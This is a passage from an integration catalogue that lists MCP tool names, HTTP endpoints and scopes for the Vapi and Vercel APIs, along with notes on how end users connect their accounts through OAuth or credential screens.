https://docs.vapi.ai/api-reference/board/board-controller-create POST /api/v1/vapi/reporting/board. Scopes: api. vapi_post_reporting_insight (write) — Create Insight via POST /reporting/insight. Reference: https://docs.vapi.ai/api-reference/insight/insight-controller-create POST /api/v1/vapi/reporting/insight. Scopes: api. vapi_post_reporting_insight_by_id_run (write) — Run Insight via POST /reporting/insight/{id}/run. Reference: https://docs.vapi.ai/api-reference/insight/insight-controller-run POST /api/v1/vapi/reporting/insight/{id}/run. Scopes: api. vapi_post_reporting_insight_preview (write) — Preview Insight via POST /reporting/insight/preview. Reference: https://docs.vapi.ai/api-reference/insight/insight-controller-preview POST /api/v1/vapi/reporting/insight/preview. Scopes: api. vapi_post_session (write) — Create Session via POST /session. Reference: https://docs.vapi.ai/api-reference/sessions/create POST /api/v1/vapi/session. Scopes: api. vapi_post_squad (write) — Create Squad via POST /squad. Reference: https://docs.vapi.ai/api-reference/squads/create POST /api/v1/vapi/squad. Scopes: api. vapi_post_structured_output (write) — Create Structured Output via POST /structured-output. Reference: https://docs.vapi.ai/api-reference/structured-outputs/structured-output-controller-create POST /api/v1/vapi/structured-output. Scopes: api. vapi_post_structured_output_run (write) — Run Structured Output via POST /structured-output/run. Reference: https://docs.vapi.ai/api-reference/structured-outputs/structured-output-controller-run POST /api/v1/vapi/structured-output/run. Scopes: api. vapi_post_tool (write) — Create Tool via POST /tool. Reference: https://docs.vapi.ai/api-reference/tools/create POST /api/v1/vapi/tool. Scopes: api. vapi_post_v2_campaign (write) — Create Campaign V2 via POST /v2/campaign. Reference: https://docs.vapi.ai/api-reference/campaigns/campaign-controller-create-v-2 POST /api/v1/vapi/v2/campaign. Scopes: api. vapi_post_v2_knowledge_base (write) — Create a Knowledge Base V2 via POST /v2/knowledge-base. Reference: https://docs.vapi.ai/api-reference/knowledge-bases-v-2/knowledge-base-v-2-controller-create POST /api/v1/vapi/v2/knowledge-base. Scopes: api. vapi_post_v2_knowledge_base_by_id_file (write) — Attach and ingest a file (V2) via POST /v2/knowledge-base/{id}/file. Reference: https://docs.vapi.ai/api-reference/knowledge-bases-v-2/knowledge-base-v-2-controller-file-attach POST /api/v1/vapi/v2/knowledge-base/{id}/file. Scopes: api. vapi_post_v2_knowledge_base_by_id_file_by_fileid_retry (write) — Retry indexing a failed file (V2) via POST /v2/knowledge-base/{id}/file/{fileId}/retry. Reference: https://docs.vapi.ai/api-reference/knowledge-bases-v-2/knowledge-base-v-2-controller-file-retry POST /api/v1/vapi/v2/knowledge-base/{id}/file/{fileId}/retry. Scopes: api. ================================================================================ ## Vercel URL: https://www.agenticfabriq.com/integrations/vercel Section: Integrated Tools Vercel — 327 MCP tools Provider key: vercel. Scopes: api. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. vercel_delete_storage_stores_blob_by_id (write, destructive) — Delete a Blob store via DELETE /storage/stores/blob/{id} DELETE /api/v1/vercel/storage/stores/blob/{id}. Scopes: api. vercel_delete_v13_deployments_by_id (write, destructive) — Delete a Deployment via DELETE /v13/deployments/{id} DELETE /api/v1/vercel/v13/deployments/{id}. Scopes: api. vercel_delete_v1_access_groups_by_accessgroupidorname_projects_by_projectid (write, destructive) — Delete an access group project via DELETE /v1/access-groups/{accessGroupIdOrName}/projects/{projectId} DELETE /api/v1/vercel/v1/access-groups/{accessGroupIdOrName}/projects/{projectId}. Scopes: api. vercel_delete_v1_access_groups_by_idorname (write, destructive) — Deletes an access group via DELETE /v1/access-groups/{idOrName} DELETE /api/v1/vercel/v1/access-groups/{idOrName}. Scopes: api. vercel_delete_v1_ai_gateway_rules (write, destructive) — Delete rule via DELETE /v1/ai-gateway/rules DELETE /api/v1/vercel/v1/ai-gateway/rules. Scopes: api. vercel_delete_v1_ai_gateway_virtual_model_configs (write, destructive) — Delete virtual model config via DELETE /v1/ai-gateway/virtual-model-configs DELETE /api/v1/vercel/v1/ai-gateway/virtual-model-configs. Scopes: api. vercel_delete_v1_bulk_redirects (write, destructive) — Delete project-level redirects. via DELETE /v1/bulk-redirects DELETE /api/v1/vercel/v1/bulk-redirects. Scopes: api. vercel_delete_v1_connect_networks_by_networkid (write, destructive) — Delete a Secure Compute network via DELETE /v1/connect/networks/{networkId} DELETE /api/v1/vercel/v1/connect/networks/{networkId}. Scopes: api. vercel_delete_v1_drains_by_id (write, destructive) — Delete a drain via DELETE /v1/drains/{id} DELETE /api/v1/vercel/v1/drains/{id}. Scopes: api. vercel_delete_v1_env (write, destructive) — Delete one or more Env Var via DELETE /v1/env DELETE /api/v1/vercel/v1/env. Scopes: api. vercel_delete_v1_global_config_by_edgeconfigid (write, destructive) — Delete a Global Config via DELETE /v1/global-config/{edgeConfigId} DELETE /api/v1/vercel/v1/global-config/{edgeConfigId}. Scopes: api. vercel_delete_v1_global_config_by_edgeconfigid_schema (write, destructive) — Delete a Global Config's schema via DELETE /v1/global-config/{edgeConfigId}/schema DELETE /api/v1/vercel/v1/global-config/{edgeConfigId}/schema. Scopes: api. vercel_delete_v1_global_config_by_edgeconfigid_tokens (write, destructive) — Delete one or more Global Config tokens via DELETE /v1/global-config/{edgeConfigId}/tokens DELETE /api/v1/vercel/v1/global-config/{edgeConfigId}/tokens. Scopes: api. vercel_delete_v1_integrations_configuration_by_id (write, destructive) — Delete an integration configuration via DELETE /v1/integrations/configuration/{id} DELETE /api/v1/vercel/v1/integrations/configuration/{id}. Scopes: api. vercel_delete_v1_integrations_log_drains_by_id (write, destructive) — Deletes the Integration log drain with the provided `id` (deprecated) via DELETE /v1/integrations/log-drains/{id} DELETE /api/v1/vercel/v1/integrations/log-drains/{id}. Scopes: api. vercel_delete_v1_kms_issuers_by_issuerid (write, destructive) — Delete an issuer via DELETE /v1/kms/issuers/{issuerId} DELETE /api/v1/vercel/v1/kms/issuers/{issuerId}. Scopes: api. vercel_delete_v1_kms_issuers_by_issuerid_policies_by_kind_by_policykey (write, destructive) — Delete an issuer policy via DELETE /v1/kms/issuers/{issuerId}/policies/{kind}/{policyKey} DELETE /api/v1/vercel/v1/kms/issuers/{issuerId}/policies/{kind}/{policyKey}. Scopes: api. vercel_delete_v1_log_drains_by_id (write, destructive) — Deletes a Configurable Log Drain (deprecated) via DELETE /v1/log-drains/{id} DELETE /api/v1/vercel/v1/log-drains/{id}. Scopes: api. vercel_delete_v1_projects_by_idorname_env (write, destructive) — Batch remove environment variables via DELETE /v1/projects/{idOrName}/env DELETE /api/v1/vercel/v1/projects/{idOrName}/env. Scopes: api. vercel_delete_v1_projects_by_idorname_members_by_uid (write, destructive) — Remove a Project Member via DELETE /v1/projects/{idOrName}/members/{uid} DELETE /api/v1/vercel/v1/projects/{idOrName}/members/{uid}. Scopes: api. vercel_delete_v1_projects_by_idorname_rolling_release_config (write, destructive) — Delete rolling release configuration via DELETE /v1/projects/{idOrName}/rolling-release/config DELETE /api/v1/vercel/v1/projects/{idOrName}/rolling-release/config. Scopes: api. vercel_delete_v1_projects_by_projectid_routes (write, destructive) — Delete routing rules via DELETE /v1/projects/{projectId}/routes DELETE /api/v1/vercel/v1/projects/{projectId}/routes. Scopes: api. vercel_delete_v1_projects_by_projectidorname_feature_flags_flags_by_flagidorslug (write, destructive) — Delete a flag via DELETE /v1/projects/{projectIdOrName}/feature-flags/flags/{flagIdOrSlug} DELETE /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/flags/{flagIdOrSlug}. Scopes: api. vercel_delete_v1_projects_by_projectidorname_feature_flags_sdk_keys_by_hashkey (write, destructive) — Delete an SDK key via DELETE /v1/projects/{projectIdOrName}/feature-flags/sdk-keys/{hashKey} DELETE /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/sdk-keys/{hashKey}. Scopes: api. vercel_delete_v1_projects_by_projectidorname_feature_flags_segments_by_segmentidorslug (write, destructive) — Delete a segment via DELETE /v1/projects/{projectIdOrName}/feature-flags/segments/{segmentIdOrSlug} DELETE /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/segments/{segmentIdOrSlug}. Scopes: api. vercel_delete_v1_security_firewall_bypass (write, destructive) — Remove System Bypass Rule via DELETE /v1/security/firewall/bypass DELETE /api/v1/vercel/v1/security/firewall/bypass. Scopes: api. vercel_delete_v1_security_firewall_config_by_configversion (write, destructive) — Returns activated WAF config via DELETE /v1/security/firewall/config/{configVersion} DELETE /api/v1/vercel/v1/security/firewall/config/{configVersion}. Scopes: api. vercel_delete_v1_teams_by_teamid (write, destructive) — Delete a Team via DELETE /v1/teams/{teamId} DELETE /api/v1/vercel/v1/teams/{teamId}. Scopes: api. vercel_delete_v1_teams_by_teamid_invites_by_inviteid (write, destructive) — Delete a Team invite code via DELETE /v1/teams/{teamId}/invites/{inviteId} DELETE /api/v1/vercel/v1/teams/{teamId}/invites/{inviteId}. Scopes: api. vercel_delete_v1_teams_by_teamid_members_by_uid (write, destructive) — Remove a Team Member via DELETE /v1/teams/{teamId}/members/{uid} DELETE /api/v1/vercel/v1/teams/{teamId}/members/{uid}. Scopes: api. vercel_delete_v1_teams_by_teamid_microfrontends_by_groupid (write, destructive) — Delete a microfrontends group via DELETE /v1/teams/{teamId}/microfrontends/{groupId} DELETE /api/v1/vercel/v1/teams/{teamId}/microfrontends/{groupId}. Scopes: api. vercel_delete_v1_user (write, destructive) — Delete User Account via DELETE /v1/user DELETE /api/v1/vercel/v1/user. Scopes: api. vercel_delete_v1_webhooks_by_id (write, destructive) — Deletes a webhook via DELETE /v1/webhooks/{id} DELETE /api/v1/vercel/v1/webhooks/{id}. Scopes: api. vercel_delete_v2_aliases_by_aliasid (write, destructive) — Delete an Alias via DELETE /v2/aliases/{aliasId} DELETE /api/v1/vercel/v2/aliases/{aliasId}. Scopes: api. vercel_delete_v2_domains_by_domain_records_by_recordid (write, destructive) — Delete a DNS record via DELETE /v2/domains/{domain}/records/{recordId} DELETE /api/v1/vercel/v2/domains/{domain}/records/{recordId}. Scopes: api. vercel_delete_v2_projects_by_projectidorname_checks_by_checkid (write, destructive) — Delete a check via DELETE /v2/projects/{projectIdOrName}/checks/{checkId} DELETE /api/v1/vercel/v2/projects/{projectIdOrName}/checks/{checkId}. Scopes: api. vercel_delete_v2_sandboxes_by_name (write, destructive) — Delete a sandbox via DELETE /v2/sandboxes/{name} DELETE /api/v1/vercel/v2/sandboxes/{name}. Scopes: api. vercel_delete_v2_sandboxes_drives_by_name (write, destructive) — Delete a drive via DELETE /v2/sandboxes/drives/{name} DELETE /api/v1/vercel/v2/sandboxes/drives/{name}. Scopes: api. vercel_delete_v2_sandboxes_snapshots_by_snapshotid (write, destructive) — Delete a snapshot via DELETE /v2/sandboxes/snapshots/{snapshotId} DELETE /api/v1/vercel/v2/sandboxes/snapshots/{snapshotId}. Scopes: api. vercel_delete_v3_user_tokens_by_tokenid (write, destructive) — Delete an authentication token via DELETE /v3/user/tokens/{tokenId} DELETE /api/v1/vercel/v3/user/tokens/{tokenId}. Scopes: api. vercel_delete_v6_domains_by_domain (write, destructive) — Remove a domain by name via DELETE /v6/domains/{domain} DELETE /api/v1/vercel/v6/domains/{domain}. Scopes: api. vercel_delete_v8_artifacts (write, destructive) — Delete all cache artifacts via DELETE /v8/artifacts DELETE /api/v1/vercel/v8/artifacts. Scopes: api. vercel_delete_v8_certs_by_id (write, destructive) — Remove cert via DELETE /v8/certs/{id} DELETE /api/v1/vercel/v8/certs/{id}. Scopes: api. vercel_delete_v9_projects_by_idorname (write, destructive) — Delete a Project via DELETE /v9/projects/{idOrName} DELETE /api/v1/vercel/v9/projects/{idOrName}. Scopes: api. vercel_delete_v9_projects_by_idorname_custom_environments_by_environmentslugorid (write, destructive) — Remove a custom environment via DELETE /v9/projects/{idOrName}/custom-environments/{environmentSlugOrId} DELETE /api/v1/vercel/v9/projects/{idOrName}/custom-environments/{environmentSlugOrId}. Scopes: api. vercel_delete_v9_projects_by_idorname_domains_by_domain (write, destructive) — Remove a domain from a project via DELETE /v9/projects/{idOrName}/domains/{domain} DELETE /api/v1/vercel/v9/projects/{idOrName}/domains/{domain}. Scopes: api. vercel_delete_v9_projects_by_idorname_env_by_id (write, destructive) — Remove an environment variable via DELETE /v9/projects/{idOrName}/env/{id} DELETE /api/v1/vercel/v9/projects/{idOrName}/env/{id}. Scopes: api. vercel_get_domains_records_by_recordid (read) — Get domains records by record id via GET /domains/records/{recordId} GET /api/v1/vercel/domains/records/{recordId}. Scopes: api. vercel_get_storage_stores_by_id (read) — Get a store via GET /storage/stores/{id} GET /api/v1/vercel/storage/stores/{id}. Scopes: api. vercel_get_v10_projects (read) — Retrieve a list of projects via GET /v10/projects GET /api/v1/vercel/v10/projects. Scopes: api. vercel_get_v10_projects_by_idorname_env (read) — Retrieve the environment variables of a project by id or name via GET /v10/projects/{idOrName}/env GET /api/v1/vercel/v10/projects/{idOrName}/env. Scopes: api. vercel_get_v13_deployments_by_idorurl (read) — Get a deployment by ID or URL via GET /v13/deployments/{idOrUrl} GET /api/v1/vercel/v13/deployments/{idOrUrl}. Scopes: api. vercel_get_v1_access_groups (read) — List access groups for a team, project or member via GET /v1/access-groups GET /api/v1/vercel/v1/access-groups. Scopes: api. vercel_get_v1_access_groups_by_accessgroupidorname_projects_by_projectid (read) — Reads an access group project via GET /v1/access-groups/{accessGroupIdOrName}/projects/{projectId} GET /api/v1/vercel/v1/access-groups/{accessGroupIdOrName}/projects/{projectId}. Scopes: api. vercel_get_v1_access_groups_by_idorname (read) — Reads an access group via GET /v1/access-groups/{idOrName} GET /api/v1/vercel/v1/access-groups/{idOrName}. Scopes: api. vercel_get_v1_access_groups_by_idorname_members (read) — List members of an access group via GET /v1/access-groups/{idOrName}/members GET /api/v1/vercel/v1/access-groups/{idOrName}/members. Scopes: api. vercel_get_v1_access_groups_by_idorname_projects (read) — List projects of an access group via GET /v1/access-groups/{idOrName}/projects GET /api/v1/vercel/v1/access-groups/{idOrName}/projects. Scopes: api. vercel_get_v1_ai_gateway_rules (read) — List rules via GET /v1/ai-gateway/rules GET /api/v1/vercel/v1/ai-gateway/rules. Scopes: api. vercel_get_v1_ai_gateway_virtual_model_configs (read) — Get virtual model config via GET /v1/ai-gateway/virtual-model-configs GET /api/v1/vercel/v1/ai-gateway/virtual-model-configs. Scopes: api. vercel_get_v1_ai_gateway_virtual_model_configs_list (read) — List virtual model configs via GET /v1/ai-gateway/virtual-model-configs/list GET /api/v1/vercel/v1/ai-gateway/virtual-model-configs/list. Scopes: api. vercel_get_v1_bulk_redirects (read) — Gets project-level redirects. via GET /v1/bulk-redirects GET /api/v1/vercel/v1/bulk-redirects. Scopes: api. vercel_get_v1_bulk_redirects_versions (read) — Get the version history for a project's redirects. via GET /v1/bulk-redirects/versions GET /api/v1/vercel/v1/bulk-redirects/versions. Scopes: api. vercel_get_v1_connect_networks (read) — List Secure Compute networks via GET /v1/connect/networks GET /api/v1/vercel/v1/connect/networks. Scopes: api. vercel_get_v1_connect_networks_by_networkid (read) — Read a Secure Compute network via GET /v1/connect/networks/{networkId} GET /api/v1/vercel/v1/connect/networks/{networkId}. Scopes: api. vercel_get_v1_deployments_by_deploymentid_feature_flags (read) — Retrieve the feature flags of a deployment via GET /v1/deployments/{deploymentId}/feature-flags GET /api/v1/vercel/v1/deployments/{deploymentId}/feature-flags. Scopes: api. vercel_get_v1_domains_by_domain_project_domains (read) — List Project Domains by Apex Domain via GET /v1/domains/{domain}/project-domains GET /api/v1/vercel/v1/domains/{domain}/project-domains. Scopes: api. vercel_get_v1_drains (read) — Retrieve a list of all Drains via GET /v1/drains GET /api/v1/vercel/v1/drains. Scopes: api. vercel_get_v1_drains_by_id (read) — Find a Drain by id via GET /v1/drains/{id} GET /api/v1/vercel/v1/drains/{id}. Scopes: api. vercel_get_v1_env (read) — Lists all Shared Environment Variables for a team via GET /v1/env GET /api/v1/vercel/v1/env. Scopes: api. vercel_get_v1_env_by_id (read) — Retrieve the decrypted value of a Shared Environment Variable by id. via GET /v1/env/{id} GET /api/v1/vercel/v1/env/{id}. Scopes: api. vercel_get_v1_events_types (read) — List Event Types via GET /v1/events/types GET /api/v1/vercel/v1/events/types. Scopes: api. vercel_get_v1_global_config (read) — Get Global Configs via GET /v1/global-config GET /api/v1/vercel/v1/global-config. Scopes: api. vercel_get_v1_global_config_by_edgeconfigid (read) — Get a Global Config via GET /v1/global-config/{edgeConfigId} GET /api/v1/vercel/v1/global-config/{edgeConfigId}. Scopes: api. vercel_get_v1_global_config_by_edgeconfigid_backups (read) — Get Global Config backups via GET /v1/global-config/{edgeConfigId}/backups GET /api/v1/vercel/v1/global-config/{edgeConfigId}/backups. Scopes: api. vercel_get_v1_global_config_by_edgeconfigid_backups_by_edgeconfigbackupversionid (read) — Get Global Config backup via GET /v1/global-config/{edgeConfigId}/backups/{edgeConfigBackupVersionId} GET /api/v1/vercel/v1/global-config/{edgeConfigId}/backups/{edgeConfigBackupVersionId}. Scopes: api. vercel_get_v1_global_config_by_edgeconfigid_item_by_edgeconfigitemkey (read) — Get a Global Config item via GET /v1/global-config/{edgeConfigId}/item/{edgeConfigItemKey} GET /api/v1/vercel/v1/global-config/{edgeConfigId}/item/{edgeConfigItemKey}. Scopes: api. vercel_get_v1_global_config_by_edgeconfigid_items (read) — Get Global Config items via GET /v1/global-config/{edgeConfigId}/items GET /api/v1/vercel/v1/global-config/{edgeConfigId}/items. Scopes: api. vercel_get_v1_global_config_by_edgeconfigid_schema (read) — Get Global Config schema via GET /v1/global-config/{edgeConfigId}/schema GET /api/v1/vercel/v1/global-config/{edgeConfigId}/schema. Scopes: api. vercel_get_v1_global_config_by_edgeconfigid_token_by_token (read) — Get Global Config token meta data via GET /v1/global-config/{edgeConfigId}/token/{token} GET /api/v1/vercel/v1/global-config/{edgeConfigId}/token/{token}. Scopes: api. vercel_get_v1_global_config_by_edgeconfigid_tokens (read) — Get all tokens of a Global Config via GET /v1/global-config/{edgeConfigId}/tokens GET /api/v1/vercel/v1/global-config/{edgeConfigId}/tokens. Scopes: api. vercel_get_v1_integrations_configuration_by_id (read) — Retrieve an integration configuration via GET /v1/integrations/configuration/{id} GET /api/v1/vercel/v1/integrations/configuration/{id}. Scopes: api. vercel_get_v1_integrations_configuration_by_id_products (read) — List products for integration configuration via GET /v1/integrations/configuration/{id}/products GET /api/v1/vercel/v1/integrations/configuration/{id}/products. Scopes: api. vercel_get_v1_integrations_configurations (read) — Get configurations for the authenticated user or team via GET /v1/integrations/configurations GET /api/v1/vercel/v1/integrations/configurations. Scopes: api. vercel_get_v1_integrations_git_namespaces (read) — List git namespaces by provider via GET /v1/integrations/git-namespaces GET /api/v1/vercel/v1/integrations/git-namespaces. Scopes: api. vercel_get_v1_integrations_integration_by_integrationidorslug_products_by_productidorslug_plans (read) — List integration billing plans via GET /v1/integrations/integration/{integrationIdOrSlug}/products/{productIdOrSlug}/plans GET /api/v1/vercel/v1/integrations/integration/{integrationIdOrSlug}/products/{productIdOrSlug}/plans. Scopes: api. vercel_get_v1_integrations_search_repo (read) — List git repositories linked to namespace by provider via GET /v1/integrations/search-repo GET /api/v1/vercel/v1/integrations/search-repo. Scopes: api. vercel_get_v1_kms_issuers (read) — List issuers via GET /v1/kms/issuers GET /api/v1/vercel/v1/kms/issuers. Scopes: api. vercel_get_v1_kms_issuers_by_issuerid (read) — Get an issuer via GET /v1/kms/issuers/{issuerId} GET /api/v1/vercel/v1/kms/issuers/{issuerId}. Scopes: api. vercel_get_v1_log_drains (read) — Retrieves a list of all the Log Drains (deprecated) via GET /v1/log-drains GET /api/v1/vercel/v1/log-drains. Scopes: api. vercel_get_v1_log_drains_by_id (read) — Retrieves a Configurable Log Drain (deprecated) via GET /v1/log-drains/{id} GET /api/v1/vercel/v1/log-drains/{id}. Scopes: api. vercel_get_v1_microfrontends_by_deploymentid_config (read) — Get microfrontends config for a deployment via GET /v1/microfrontends/{deploymentId}/config GET /api/v1/vercel/v1/microfrontends/{deploymentId}/config. Scopes: api. vercel_get_v1_microfrontends_groups (read) — List microfrontends groups via GET /v1/microfrontends/groups GET /api/v1/vercel/v1/microfrontends/groups. Scopes: api. vercel_get_v1_microfrontends_groups_by_groupid_projects (read) — List projects in a microfrontends group via GET /v1/microfrontends/groups/{groupId}/projects GET /api/v1/vercel/v1/microfrontends/groups/{groupId}/projects. Scopes: api. vercel_get_v1_microfrontends_projects_by_projectidorname_production_mfe_config (read) — Get microfrontends config for a project via GET /v1/microfrontends/projects/{projectIdOrName}/production-mfe-config GET /api/v1/vercel/v1/microfrontends/projects/{projectIdOrName}/production-mfe-config. Scopes: api. vercel_get_v1_observability_manage_configuration_projects (read) — Lists disabled Observability Plus projects via GET /v1/observability/manage/configuration/projects GET /api/v1/vercel/v1/observability/manage/configuration/projects. Scopes: api. vercel_get_v1_projects_by_idorname_env_by_id (read) — Retrieve the decrypted value of an environment variable of a project by id via GET /v1/projects/{idOrName}/env/{id} GET /api/v1/vercel/v1/projects/{idOrName}/env/{id}. Scopes: api. vercel_get_v1_projects_by_idorname_members (read) — List project members via GET /v1/projects/{idOrName}/members GET /api/v1/vercel/v1/projects/{idOrName}/members. Scopes: api. vercel_get_v1_projects_by_idorname_rolling_release (read) — Get the active rolling release information for a project via GET /v1/projects/{idOrName}/rolling-release GET /api/v1/vercel/v1/projects/{idOrName}/rolling-release. Scopes: api. vercel_get_v1_projects_by_idorname_rolling_release_billing (read) — Get rolling release billing status via GET /v1/projects/{idOrName}/rolling-release/billing GET /api/v1/vercel/v1/projects/{idOrName}/rolling-release/billing. Scopes: api. vercel_get_v1_projects_by_idorname_rolling_release_config (read) — Get rolling release configuration via GET /v1/projects/{idOrName}/rolling-release/config GET /api/v1/vercel/v1/projects/{idOrName}/rolling-release/config. Scopes: api. vercel_get_v1_projects_by_projectid_promote_aliases (read) — Gets a list of aliases with status for the current promote via GET /v1/projects/{projectId}/promote/aliases GET /api/v1/vercel/v1/projects/{projectId}/promote/aliases. Scopes: api. vercel_get_v1_projects_by_projectid_routes (read) — Get project routing rules via GET /v1/projects/{projectId}/routes GET /api/v1/vercel/v1/projects/{projectId}/routes. Scopes: api. vercel_get_v1_projects_by_projectid_routes_versions (read) — Get routing rule version history via GET /v1/projects/{projectId}/routes/versions GET /api/v1/vercel/v1/projects/{projectId}/routes/versions. Scopes: api. vercel_get_v1_projects_by_projectidorname_feature_flags_flags (read) — List flags via GET /v1/projects/{projectIdOrName}/feature-flags/flags GET /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/flags. Scopes: api. vercel_get_v1_projects_by_projectidorname_feature_flags_flags_by_flagidorslug (read) — Get a flag via GET /v1/projects/{projectIdOrName}/feature-flags/flags/{flagIdOrSlug} GET /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/flags/{flagIdOrSlug}. Scopes: api. vercel_get_v1_projects_by_projectidorname_feature_flags_flags_by_flagidorslug_versions (read) — List flag versions via GET /v1/projects/{projectIdOrName}/feature-flags/flags/{flagIdOrSlug}/versions GET /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/flags/{flagIdOrSlug}/versions. Scopes: api. vercel_get_v1_projects_by_projectidorname_feature_flags_sdk_keys (read) — Get all SDK keys via GET /v1/projects/{projectIdOrName}/feature-flags/sdk-keys GET /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/sdk-keys. Scopes: api. vercel_get_v1_projects_by_projectidorname_feature_flags_segments (read) — List segments via GET /v1/projects/{projectIdOrName}/feature-flags/segments GET /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/segments. Scopes: api. vercel_get_v1_projects_by_projectidorname_feature_flags_segments_by_segmentidorslug (read) — Get a segment via GET /v1/projects/{projectIdOrName}/feature-flags/segments/{segmentIdOrSlug} GET /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/segments/{segmentIdOrSlug}. Scopes: api. vercel_get_v1_projects_by_projectidorname_feature_flags_settings (read) — Get project flag settings via GET /v1/projects/{projectIdOrName}/feature-flags/settings GET /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/settings. Scopes: api. vercel_get_v1_projects_traces (read) — Get a project trace by request ID via GET /v1/projects/traces GET /api/v1/vercel/v1/projects/traces. Scopes: api. vercel_get_v1_query_web_analytics_events_aggregate (read) — Aggregates custom events via GET /v1/query/web-analytics/events/aggregate GET /api/v1/vercel/v1/query/web-analytics/events/aggregate. Scopes: api. vercel_get_v1_query_web_analytics_events_count (read) — Counts custom events via GET /v1/query/web-analytics/events/count GET /api/v1/vercel/v1/query/web-analytics/events/count. Scopes: api. vercel_get_v1_query_web_analytics_visits_aggregate (read) — Aggregates page views via GET /v1/query/web-analytics/visits/aggregate GET /api/v1/vercel/v1/query/web-analytics/visits/aggregate. Scopes: api. vercel_get_v1_query_web_analytics_visits_count (read) — Counts page views via GET /v1/query/web-analytics/visits/count GET /api/v1/vercel/v1/query/web-analytics/visits/count. Scopes: api. vercel_get_v1_registrar_domains_by_domain_auth_code (read) — Get the auth code for a domain via GET /v1/registrar/domains/{domain}/auth-code GET /api/v1/vercel/v1/registrar/domains/{domain}/auth-code. Scopes: api. vercel_get_v1_registrar_domains_by_domain_availability (read) — Get availability for a domain via GET /v1/registrar/domains/{domain}/availability GET /api/v1/vercel/v1/registrar/domains/{domain}/availability. Scopes: api. vercel_get_v1_registrar_domains_by_domain_contact_info_schema (read) — Get contact info schema via GET /v1/registrar/domains/{domain}/contact-info/schema GET /api/v1/vercel/v1/registrar/domains/{domain}/contact-info/schema. Scopes: api. vercel_get_v1_registrar_domains_by_domain_contact_verification (read) — Get contact verification status for a domain via GET /v1/registrar/domains/{domain}/contact-verification GET /api/v1/vercel/v1/registrar/domains/{domain}/contact-verification. Scopes: api. vercel_get_v1_registrar_domains_by_domain_price (read) — Get price data for a domain via GET /v1/registrar/domains/{domain}/price GET /api/v1/vercel/v1/registrar/domains/{domain}/price. Scopes: api. vercel_get_v1_registrar_domains_by_domain_transfer (read) — Get a domain's transfer status via GET /v1/registrar/domains/{domain}/transfer GET /api/v1/vercel/v1/registrar/domains/{domain}/transfer. Scopes: api. vercel_get_v1_registrar_orders_by_orderid (read) — Get a domain order via GET /v1/registrar/orders/{orderId} GET /api/v1/vercel/v1/registrar/orders/{orderId}. Scopes: api. vercel_get_v1_registrar_tlds_by_tld (read) — Get TLD via GET /v1/registrar/tlds/{tld} GET /api/v1/vercel/v1/registrar/tlds/{tld}. Scopes: api. vercel_get_v1_registrar_tlds_by_tld_price (read) — Get TLD price data via GET /v1/registrar/tlds/{tld}/price GET /api/v1/vercel/v1/registrar/tlds/{tld}/price. Scopes: api. vercel_get_v1_registrar_tlds_supported (read) — Get supported TLDs via GET /v1/registrar/tlds/supported GET /api/v1/vercel/v1/registrar/tlds/supported. Scopes: api. vercel_get_v1_security_firewall_attack_status (read) — Read active attack data via GET /v1/security/firewall/attack-status GET /api/v1/vercel/v1/security/firewall/attack-status. Scopes: api. vercel_get_v1_security_firewall_bypass (read) — Read System Bypass via GET /v1/security/firewall/bypass GET /api/v1/vercel/v1/security/firewall/bypass. Scopes: api. vercel_get_v1_security_firewall_config (read) — Returns activated WAF config via GET /v1/security/firewall/config GET /api/v1/vercel/v1/security/firewall/config. Scopes: api. vercel_get_v1_security_firewall_config_by_configversion (read) — Read Firewall Configuration via GET /v1/security/firewall/config/{configVersion} GET /api/v1/vercel/v1/security/firewall/config/{configVersion}. Scopes: api. vercel_get_v1_security_firewall_events (read) — Read Firewall Actions by Project via GET /v1/security/firewall/events GET /api/v1/vercel/v1/security/firewall/events. Scopes: api. vercel_get_v1_teams_by_teamid_feature_flags_flags (read) — List all flags for a team via GET /v1/teams/{teamId}/feature-flags/flags GET /api/v1/vercel/v1/teams/{teamId}/feature-flags/flags. Scopes: api. vercel_get_v1_teams_by_teamid_feature_flags_settings (read) — List team project flag settings via GET /v1/teams/{teamId}/feature-flags/settings GET /api/v1/vercel/v1/teams/{teamId}/feature-flags/settings. Scopes: api. vercel_get_v1_teams_by_teamid_request_by_userid (read) — Get access request status via GET /v1/teams/{teamId}/request/{userId} GET /api/v1/vercel/v1/teams/{teamId}/request/{userId}. Scopes: api. vercel_get_v1_webhooks (read) — Get a list of webhooks via GET /v1/webhooks GET /api/v1/vercel/v1/webhooks. Scopes: api. vercel_get_v1_webhooks_by_id (read) — Get a webhook via GET /v1/webhooks/{id} GET /api/v1/vercel/v1/webhooks/{id}. Scopes: api. vercel_get_v2_deployments_by_deploymentid_check_runs (read) — List check runs for a deployment via GET /v2/deployments/{deploymentId}/check-runs GET /api/v1/vercel/v2/deployments/{deploymentId}/check-runs. Scopes: api. vercel_get_v2_deployments_by_deploymentid_check_runs_by_checkrunid (read) — Get a check run via GET /v2/deployments/{deploymentId}/check-runs/{checkRunId} GET /api/v1/vercel/v2/deployments/{deploymentId}/check-runs/{checkRunId}. Scopes: api. vercel_get_v2_deployments_by_id_aliases (read) — List Deployment Aliases via GET /v2/deployments/{id}/aliases GET /api/v1/vercel/v2/deployments/{id}/aliases. Scopes: api. vercel_get_v2_integrations_log_drains (read) — Retrieves a list of Integration log drains (deprecated) via GET /v2/integrations/log-drains GET 